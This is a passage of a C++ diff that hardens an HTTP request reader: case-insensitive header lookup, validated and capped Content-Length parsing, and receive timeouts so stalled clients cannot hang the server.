head.size() - 4, marker, 4) == 0) @@ -54,9 +67,14 @@ bool read_request(SOCKET s, std::vector& body) { size_t cl = h.find("\r\n\r\n"); if (cl == std::string::npos) return false; - size_t te = h.find("Transfer-Encoding"); + // HTTP field names are case-insensitive (RFC 9110), so fold the header + // block for lookup; positions still index the original h for value reads. + std::string low = h; + for (auto& c : low) c = (char)tolower((unsigned char)c); + + size_t te = low.find("transfer-encoding"); if (te != std::string::npos && te < cl) { - size_t ce = h.find("chunked", te); + size_t ce = low.find("chunked", te); if (ce != std::string::npos && ce < cl) { body.clear(); for (;;) { @@ -64,7 +82,7 @@ bool read_request(SOCKET s, std::vector& body) { std::string line; char b = 0; while (line.size() < 64) { - if (recv(s, &b, 1, 0) != 1) return false; + if (!recv_byte(s, b, deadline)) return false; line += b; if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0) break; @@ -81,7 +99,7 @@ bool read_request(SOCKET s, std::vector& body) { for (int i = 0; i < 64; i++) { std::string line; while (line.size() < 128) { - if (recv(s, &b, 1, 0) != 1) return false; + if (!recv_byte(s, b, deadline)) return false; line += b; if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0) break; @@ -93,26 +111,39 @@ bool read_request(SOCKET s, std::vector& body) { if (chunk_size > 64 * 1024 * 1024 || body.size() > 64 * 1024 * 1024 - chunk_size) return false; std::vector tmp; - if (!recv_all(s, tmp, chunk_size)) return false; + if (!recv_all(s, tmp, chunk_size, deadline)) return false; body.insert(body.end(), tmp.begin(), tmp.end()); char crlf[2]; - if (recv(s, crlf, 2, 0) != 2 || crlf[0] != '\r' || crlf[1] != '\n') + if (!recv_byte(s, crlf[0], deadline) || !recv_byte(s, crlf[1], deadline) || + crlf[0] != '\r' || crlf[1] != '\n') return false; } } } - // Naive, single-value Content-Length parse (we generate the requests). - size_t pos = h.find("Content-Length"); + // Content-Length must be a non-negative decimal integer (RFC 9110). + // atoll() would turn negative/garbage input into a huge size_t and drive a + // giant allocation; validate the digits and cap the value instead. + size_t pos = low.find("content-length"); size_t len = 0; if (pos != std::string::npos && pos < cl) { - pos += 14; + pos += 14; // strlen("content-length") while (pos < cl && (h[pos] == ':' || h[pos] == ' ' || h[pos] == '\t')) pos++; size_t end = h.find("\r\n", pos); if (end == std::string::npos || end > cl) return false; - len = (size_t)atoll(h.substr(pos, end - pos).c_str()); + std::string val = h.substr(pos, end - pos); + size_t vb = val.find_first_not_of(" \t"); + size_t ve = val.find_last_not_of(" \t"); + if (vb == std::string::npos) return false; + val = val.substr(vb, ve - vb + 1); + if (val.empty()) return false; + for (char c : val) + if (c < '0' || c > '9') return false; + uint64_t n = strtoull(val.c_str(), nullptr, 10); + if (n > 64 * 1024 * 1024) return false; + len = (size_t)n; } - return recv_all(s, body, len); + return recv_all(s, body, len, deadline); } void send_response(SOCKET s, const std::vector& body) { @@ -167,6 +198,12 @@ bool serve(uint16_t port, const Handler& handler) { SOCKET client = accept(listener, nullptr, nullptr); if (client == INVALID_SOCKET) continue; + // Bound each individual recv so a stalled client cannot hold the relay + // loop forever; read_request additionally enforces an absolute 5s + // deadline for the whole request. + int rto = 5000; + setsockopt(client, SOL_SOCKET, SO_RCVTIMEO, (const char*)&rto, sizeof(rto)); + std::vector body; bool ok = read_request(client, body); std::vector eph_pub;